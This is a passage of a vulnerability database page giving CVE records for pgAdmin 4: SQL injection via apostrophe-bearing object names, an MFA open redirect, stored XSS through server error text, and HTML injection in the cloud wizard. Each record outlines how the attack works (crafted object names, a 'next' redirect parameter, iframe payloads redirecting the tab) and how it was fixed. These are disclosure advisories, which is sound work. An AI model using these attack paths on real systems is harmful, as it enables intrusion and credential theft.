Fix switches all of these templates to qtLiteral(conn) for name interpolation, and updates publications/__init__.py and subscriptions/__init__.py to pass conn=self.conn into the dependencies.sql render_template call so the qtLiteral filter has a connection to quote against. The corresponding ALLOWLIST entries in test_sql_string_literal_lint.py are removed now that these sinks are properly escaped rather than merely assumed safe. A behavioral regression test renders each fixed template with a stacked-statement apostrophe payload and asserts both that the object name appears exactly as qtLiteral-escaped and that the rendered SQL parses as exactly one statement, verifying the assertion genuinely fails against the pre-patch raw-interpolation form.
This issue affects pgAdmin 4: the Index Statistics sink from 1.0, and the Publications/Subscriptions sinks from 5.0, both before 9.17.
References
Impacted products
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 1.0 < 9.17 |
|||||||
|
|||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-17346",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-31T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-01T03:56:11.625Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Indexes"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/schemas/tables/templates/indexes/sql/16_plus/coll_stats.sql",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/schemas/tables/templates/indexes/sql/default/coll_stats.sql"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "1.0",
"versionType": "custom"
}
]
},
{
"defaultStatus": "unaffected",
"modules": [
"Publications",
"Subscriptions"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/publications/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/browser/server_groups/servers/databases/subscriptions/__init__.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.17",
"status": "affected",
"version": "5.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Hung Tran Quoc (@rampage0010)"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "The fix for CVE-2026-12044 in pgAdmin 4 9.16 hardened qtLiteral and switched sixteen COMMENT ON / pgstattuple / pgstatindex templates to it, but missed several sinks that had been placed in test_sql_string_literal_lint.py\u0027s ALLOWLIST on the incorrect assumption that schema, table, publication, and subscription names sourced from pg_catalog via the browser tree could never contain an apostrophe. PostgreSQL permits arbitrary characters in quoted identifiers, so a low-privileged user able to CREATE TABLE, CREATE PUBLICATION, or CREATE SUBSCRIPTION can plant an apostrophe\u0027d object name that breaks out of the unescaped \u0027{{ name }}\u0027 template interpolation the moment any user (including a higher-privileged one) opens that object\u0027s Statistics or Dependencies tab, allowing arbitrary SQL statement injection in the viewing user\u0027s database session.\n\nAffected sinks: the Index Statistics query for all-indexes listing (coll_stats.sql, both the 16_plus and default PostgreSQL-version template variants -- distinct from the single-index stats.sql path already fixed in CVE-2026-12044), and the publication and subscription dependencies.sql / get_position.sql templates (both the pg and ppas/EPAS dialect variants for publications).\n\nFix switches all of these templates to qtLiteral(conn) for name interpolation, and updates publications/__init__.py and subscriptions/__init__.py to pass conn=self.conn into the dependencies.sql render_template call so the qtLiteral filter has a connection to quote against. The corresponding ALLOWLIST entries in test_sql_string_literal_lint.py are removed now that these sinks are properly escaped rather than merely assumed safe. A behavioral regression test renders each fixed template with a stacked-statement apostrophe payload and asserts both that the object name appears exactly as qtLiteral-escaped and that the rendered SQL parses as exactly one statement, verifying the assertion genuinely fails against the pre-patch raw-interpolation form.\n\nThis issue affects pgAdmin 4: the Index Statistics sink from 1.0, and the Publications/Subscriptions sinks from 5.0, both before 9.17."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Threat model: a low-privileged database user with CREATE TABLE/PUBLICATION/SUBSCRIPTION rights plants an apostrophe\u0027d object name. The injection fires in the session of any pgAdmin user browsing that object\u0027s Statistics/Dependencies view, mirroring the sibling CVE-2026-12044 (comment-description SQLi, CVE record 10078) whose fix this one completes -- scored identically for consistency, since both are the same escaping defect class reached via ordinary browse-tree navigation rather than a distinct, deliberate victim action. Scope is Unchanged: injected SQL executes within the viewer\u0027s own already-authorized database session, the same security authority pgAdmin already operates under for that connection. Confidentiality/Integrity/Availability High reflects that a stacked statement can read, write, or destroy arbitrary data the viewing session\u0027s database role can reach."
}
]
},
{
"cvssV4_0": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry and consistent with the sibling CVE-2026-12044 (10078) scoring: a low-privileged attacker plants a malicious object name; any viewer\u0027s session executes the injected statement within its own already-authorized database scope. VC:H/VI:H/VA:H for that scope; SC:N/SI:N/SA:N since no subsequent system beyond the viewer\u0027s own already-authorized database connection is reached."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-89",
"description": "CWE-89 Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-31T15:59:13.136Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10193"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/73b3218992cc37af6e10b7e54eaeed6ec293c6b2"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/f75452bfd0f786d0c071638919d48fc1d76f987d"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: SQL injection via unescaped object names in index Statistics and publication/subscription dependency views (incomplete fix for CVE-2026-12044)"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-17346",
"datePublished": "2026-07-31T15:59:13.136Z",
"dateReserved": "2026-07-25T02:52:54.197Z",
"dateUpdated": "2026-08-01T03:56:11.625Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-12049 (GCVE-0-2026-12049)
Vulnerability from cvelistv5
Published
2026-06-18 23:37
Modified
2026-06-22 14:39
Severity ?
4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
5.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
5.3 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
- CWE-601 - URL Redirection to Untrusted Site ('Open Redirect')
Summary
Open redirect in pgAdmin 4's multi-factor authentication flow. The MFA validate and register endpoints honoured the user-supplied 'next' query/form parameter without confirming the target pointed back inside pgAdmin, so an authenticated victim who clicked /mfa/validate?next=<external> -- a link typically delivered by phishing -- would be sent to an attacker-controlled host directly out of the trusted auth flow.
The defect is a trusted-domain redirect, not a privilege bypass: the attacker gains no read/write access to pgAdmin or the victim's database, but the redirect launders the attacker's destination through pgAdmin's URL, which raises the success rate of credential-phishing follow-on against the victim.
Fix introduces a same-origin _is_safe_redirect_url helper and gates every MFA redirect that consumes user-supplied 'next' values through it. The helper allows only relative paths and absolute URLs whose scheme is http(s) and whose host matches the current request host; it rejects external hosts in absolute and protocol-relative form, non-http schemes (javascript:, data:, mailto:), userinfo tricks (http://localhost@attacker/), and backslash variants that some browsers normalize to forward slashes. Unsafe targets fall back to the internal browser index. A dedicated regression test exercises each accept/reject category and the original reporter PoC.
This issue affects pgAdmin 4: from 6.0 before 9.16.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 6.0 < 9.16 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-12049",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-22T14:39:40.324350Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-22T14:39:56.925Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Authentication",
"Multi-Factor Authentication"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/authenticate/mfa/views.py"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.16",
"status": "affected",
"version": "6.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Mai Ph\u1ea1m Hi\u1ec1n \u003cmai.phamhien171@gmail.com\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Kundan Sable \u003ckundan.sable@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "Open redirect in pgAdmin 4\u0027s multi-factor authentication flow. The MFA validate and register endpoints honoured the user-supplied \u0027next\u0027 query/form parameter without confirming the target pointed back inside pgAdmin, so an authenticated victim who clicked /mfa/validate?next=\u003cexternal\u003e -- a link typically delivered by phishing -- would be sent to an attacker-controlled host directly out of the trusted auth flow.\n\nThe defect is a trusted-domain redirect, not a privilege bypass: the attacker gains no read/write access to pgAdmin or the victim\u0027s database, but the redirect launders the attacker\u0027s destination through pgAdmin\u0027s URL, which raises the success rate of credential-phishing follow-on against the victim.\n\nFix introduces a same-origin _is_safe_redirect_url helper and gates every MFA redirect that consumes user-supplied \u0027next\u0027 values through it. The helper allows only relative paths and absolute URLs whose scheme is http(s) and whose host matches the current request host; it rejects external hosts in absolute and protocol-relative form, non-http schemes (javascript:, data:, mailto:), userinfo tricks (http://localhost@attacker/), and backslash variants that some browsers normalize to forward slashes. Unsafe targets fall back to the internal browser index. A dedicated regression test exercises each accept/reject category and the original reporter PoC.\n\nThis issue affects pgAdmin 4: from 6.0 before 9.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Attacker delivers a crafted /mfa/validate?next=\u003cexternal\u003e URL to a logged-in pgAdmin user (typically via phishing). The endpoint requires login_required so the victim must already be authenticated to pgAdmin -- but the *attacker* needs no pgAdmin privileges at all to construct and deliver the link (PR:N). UI:R captures the click. Scope is unchanged: the defect does not grant the attacker access to pgAdmin\u0027s authority or the victim\u0027s database session; it only launders the attacker\u0027s destination through pgAdmin\u0027s URL, which raises credential-phishing success rates. C:N and A:N follow from the same reasoning; I:L acknowledges the integrity impact of an authenticated-flow redirect that lends pgAdmin\u0027s trust to an attacker domain.\n\nReviewer note (Dave Page, 2026-06-11): defensible at 4.3 for a token-free open redirect. Heads-up that NVD house style for open redirects often lands at S:C/C:L/I:L -\u003e 6.1, so expect a possible upward rescore by the NVD analyst."
}
]
},
{
"cvssV4_0": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry: the attacker needs no pgAdmin privileges to craft the link, the victim must click it (UI:P), and the defect grants no new vulnerable-system or subsequent-system capability beyond a trusted-domain redirect that aids downstream phishing (VI:L only)."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-601",
"description": "CWE-601 URL Redirection to Untrusted Site (\u0027Open Redirect\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-18T23:37:43.328Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10028"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/fff6a481854b07822c2b54e8181e6a9076d204cd"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Open redirect in multi-factor authentication flow via unvalidated \u0027next\u0027 parameter"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-12049",
"datePublished": "2026-06-18T23:37:43.328Z",
"dateReserved": "2026-06-11T20:40:09.111Z",
"dateUpdated": "2026-06-22T14:39:56.925Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-12048 (GCVE-0-2026-12048)
Vulnerability from cvelistv5
Published
2026-06-18 23:37
Modified
2026-06-22 19:15
Severity ?
9.3 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
9.3 (Critical) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
Stored cross-site scripting in pgAdmin 4's error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL server (ErrorResponse messages, including object names quoted back inside relation-does-not-exist errors and inside EXPLAIN Recheck Cond / Exact Heap Blocks fields) was passed verbatim through html-react-parser at every user-facing sink — the notifier toasts, FormFooterMessage / FormInput help and error areas, FormNote, ModalProvider AlertContent and confirmDelete, ToolErrorView, the Explain visualiser's NodeText panel, the SQL editor confirm dialogs, ConfirmSaveContent, PreferencesHelper modal alerts, and SelectThemes helper text. A PostgreSQL server an attacker controls — or any server returning attacker-influenced text such as a table or column name a low-privilege database user can create — could inject arbitrary HTML (including <iframe>) into the pgAdmin DOM the moment the victim's pgAdmin connected to that server or viewed an Explain plan that referenced the crafted object.
The injected iframe's srcdoc could fetch attacker-served JavaScript and, by writing to parent.location, redirect the victim's top-level pgAdmin browser tab to an attacker-controlled URL. Because the injection originates from inside pgAdmin's own interface, standard anti-clickjacking controls (X-Frame-Options, Content-Security-Policy: frame-ancestors) do not mitigate it. A phishing page rendered inside the legitimate pgAdmin window is indistinguishable from a genuine pgAdmin dialog.
Fix combines three complementary layers. (1) DOMPurify sanitisation is wrapped around every html-react-parser call site reachable from notifier, alert, form-error, Explain, and SQL-editor flows. (2) A new plain-text rendering contract — SafeMessage / SafeHtmlMessage components plus Notifier.errorText / alertText / warningText / infoText / successText helpers — is introduced; around fifty callers across browser, tools, dashboard, debugger, misc, llm, preferences, schema diff, and the SQL editor that previously interpolated backend-derived strings are migrated to the plain-text variants. (3) Backend HTML-escape is applied at the post-connection-SQL handler (execute_post_connection_sql) via a new sanitize_external_text helper, so third-party JSON consumers (audit logs, API clients) never receive raw markup either; the Explain plan-info renderer is also patched to _.escape Recheck Cond and Exact Heap Blocks at construction (matching every sibling field), giving defence in depth even before DOMPurify runs.
This issue affects pgAdmin 4: from 6.0 before 9.16.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 6.0 < 9.16 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-12048",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-22T19:15:27.799712Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-22T19:15:36.006Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Notifier",
"Form Components",
"Modal Provider",
"Explain Visualiser",
"Driver"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/static/js/components/FormComponents.jsx",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/static/js/Notifier.jsx",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/utils/driver/psycopg3/connection.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/tools/erd/static/js/erd_tool/components/Explain/Analysis.jsx"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.16",
"status": "affected",
"version": "6.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Fernando Bortotti \u003cfernando.bortotti@bsd.com.br\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Dave Page \u003cdpage@pgadmin.org\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
"value": "Stored cross-site scripting in pgAdmin 4\u0027s error-rendering and plan-node-rendering paths. Text returned by a PostgreSQL server (ErrorResponse messages, including object names quoted back inside relation-does-not-exist errors and inside EXPLAIN Recheck Cond / Exact Heap Blocks fields) was passed verbatim through html-react-parser at every user-facing sink \u2014 the notifier toasts, FormFooterMessage / FormInput help and error areas, FormNote, ModalProvider AlertContent and confirmDelete, ToolErrorView, the Explain visualiser\u0027s NodeText panel, the SQL editor confirm dialogs, ConfirmSaveContent, PreferencesHelper modal alerts, and SelectThemes helper text. A PostgreSQL server an attacker controls \u2014 or any server returning attacker-influenced text such as a table or column name a low-privilege database user can create \u2014 could inject arbitrary HTML (including \u003ciframe\u003e) into the pgAdmin DOM the moment the victim\u0027s pgAdmin connected to that server or viewed an Explain plan that referenced the crafted object.\n\nThe injected iframe\u0027s srcdoc could fetch attacker-served JavaScript and, by writing to parent.location, redirect the victim\u0027s top-level pgAdmin browser tab to an attacker-controlled URL. Because the injection originates from inside pgAdmin\u0027s own interface, standard anti-clickjacking controls (X-Frame-Options, Content-Security-Policy: frame-ancestors) do not mitigate it. A phishing page rendered inside the legitimate pgAdmin window is indistinguishable from a genuine pgAdmin dialog.\n\nFix combines three complementary layers. (1) DOMPurify sanitisation is wrapped around every html-react-parser call site reachable from notifier, alert, form-error, Explain, and SQL-editor flows. (2) A new plain-text rendering contract \u2014 SafeMessage / SafeHtmlMessage components plus Notifier.errorText / alertText / warningText / infoText / successText helpers \u2014 is introduced; around fifty callers across browser, tools, dashboard, debugger, misc, llm, preferences, schema diff, and the SQL editor that previously interpolated backend-derived strings are migrated to the plain-text variants. (3) Backend HTML-escape is applied at the post-connection-SQL handler (execute_post_connection_sql) via a new sanitize_external_text helper, so third-party JSON consumers (audit logs, API clients) never receive raw markup either; the Explain plan-info renderer is also patched to _.escape Recheck Cond and Exact Heap Blocks at construction (matching every sibling field), giving defence in depth even before DOMPurify runs.\n\nThis issue affects pgAdmin 4: from 6.0 before 9.16."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "An attacker who controls (or has write access to) content a PostgreSQL server returns -- ErrorResponse text, quoted object names inside relation-does-not-exist errors, EXPLAIN Recheck Cond / Exact Heap Blocks fields -- crafts HTML containing an iframe whose srcdoc executes attacker JS. When a pgAdmin user connects to that server (or views an Explain plan referencing the crafted object), the attacker HTML is rendered in the pgAdmin UI.\n\nWhy C:H/I:H (not L/L): pgAdmin\u0027s default Content-Security-Policy carries \u0027unsafe-inline\u0027 and \u0027unsafe-eval\u0027 so it does not constrain script execution; an iframe rendered via the srcdoc attribute inherits the embedding origin, so the attacker JS runs same-origin to the victim\u0027s authenticated pgAdmin session. From there the attacker can read every saved server connection credential (high confidentiality) and issue arbitrary SQL against every server the victim is connected to (high integrity), via pgAdmin\u0027s own API with the user\u0027s CSRF token. This is the confused-deputy pattern -- third-party content drives the victim admin -- so S:C is straightforward. A:N because the primary impact is data exfil / takeover, not denial of service."
}
]
},
{
"cvssV4_0": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
"version": "4.0"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "Same reasoning as the CVSS 3.1 entry. The same-origin JS executing in the victim\u0027s pgAdmin session reads the vulnerable system\u0027s saved connection store (VC:H) and issues SQL on every downstream PostgreSQL server the victim has registered (VI:H, plus SC:H/SI:H for the subsequent systems). A:N because the goal is takeover / exfil rather than denial of service."
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-79",
"description": "CWE-79 Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-116",
"description": "CWE-116 Improper Encoding or Escaping of Output",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-18T23:37:41.541Z",
"orgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"shortName": "PostgreSQL"
},
"references": [
{
"tags": [
"issue-tracking"
],
"url": "https://github.com/pgadmin-org/pgadmin4/issues/10068"
},
{
"tags": [
"patch"
],
"url": "https://github.com/pgadmin-org/pgadmin4/commit/9e370d3cb67b83b3945f82969c959fad3f926517"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "pgAdmin 4: Stored XSS via untrusted error and plan-node text rendered through html-react-parser"
}
},
"cveMetadata": {
"assignerOrgId": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007",
"assignerShortName": "PostgreSQL",
"cveId": "CVE-2026-12048",
"datePublished": "2026-06-18T23:37:41.541Z",
"dateReserved": "2026-06-11T20:40:08.398Z",
"dateUpdated": "2026-06-22T19:15:36.006Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-12047 (GCVE-0-2026-12047)
Vulnerability from cvelistv5
Published
2026-06-18 23:37
Modified
2026-06-22 19:14
Severity ?
3.5 (Low) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
4.8 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
4.8 (Medium) - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
VLAI Severity ?
EPSS score ?
CWE
Summary
HTML injection in pgAdmin 4's cloud deployment module. The verify_credentials, deploy, regions, and update-server endpoints under /rds/, /azure/, /google/, and the top-level /cloud/ blueprint propagated AWS / Azure / Google SDK exception text — and the related file-resolution and database-commit exception text — into the JSON response body (the info and errormsg fields) without HTML-encoding. The Cloud Wizard frontend rendered these strings through html-react-parser, so an attacker-influenced exception message embedded structural HTML directly into the wizard's DOM.
The reported entry point is /rds/verify_credentials/. An authenticated pgAdmin user submits a crafted access_key whose value contains an <iframe/src=...> payload; AWS STS rejects the credential with an IncompleteSignature exception whose text quotes the access_key verbatim; the pgAdmin backend forwards that text into the JSON info field; the Cloud Wizard's FormFooterMessage parses it as HTML. The browser fetches the iframe's src from an attacker-controlled host, and JavaScript executing inside the cross-origin iframe writes to parent.location, redirecting the victim's pgAdmin tab. Because the injection renders inside pgAdmin's own interface, X-Frame-Options and Content-Security-Policy frame-ancestors do not mitigate it. Baseline impact is self-targeted (the same user who supplied the payload sees the injection); escalation against other authenticated users requires an additional cross-site request-forgery primitive capable of submitting the malformed credential request with a valid X-pgA-CSRFToken in the victim's browser context.
The same unsanitised-error-into-JSON pattern was present across multiple sibling endpoints — Azure's check_cluster_name_availability, every Google endpoint that surfaces SDK errors (verification_ack, projects, regions, instance_types, database_versions, the verify_credentials path-resolution branches), the central /deploy endpoint that bubbles str(e) from deploy_on_rds / deploy_on_azure / deploy_on_google, and update_cloud_server which surfaces the str(e) from a failing db.session.commit — all of which are now covered.
Fix HTML-escapes every external/SDK exception string at the endpoint sink via a new shared sanitize_external_text helper (HTML escape with control-character strip), promoted out of the psycopg3 driver into web/pgadmin/utils/text_sanitize.py. The Cloud Wizard frontend additionally renders its FormFooterMessage in plain-text mode for backend-derived strings, so the value is never parsed as HTML even if a future sink forgets the escape.
This issue affects pgAdmin 4: from 6.6 before 9.16.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| pgadmin.org | pgAdmin 4 |
Version: 6.6 < 9.16 |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-12047",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-22T19:13:58.685569Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-22T19:14:24.816Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"modules": [
"Cloud Deployment",
"Cloud RDS",
"Cloud Azure",
"Cloud Google"
],
"product": "pgAdmin 4",
"programFiles": [
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/cloud/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/cloud/rds/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/cloud/azure/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/cloud/google/__init__.py",
"https://github.com/pgadmin-org/pgadmin4/blob/master/web/pgadmin/misc/cloud/static/js/CloudWizard.jsx"
],
"repo": "https://github.com/pgadmin-org/pgadmin4",
"vendor": "pgadmin.org",
"versions": [
{
"lessThan": "9.16",
"status": "affected",
"version": "6.6",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Fernando Bortotti \u003cfernando.bortotti@bsd.com.br\u003e"
},
{
"lang": "en",
"type": "remediation developer",
"value": "Ashesh Vashi \u003cashesh.vashi@enterprisedb.com\u003e"
}
],
"descriptions": [
{
"lang": "en",
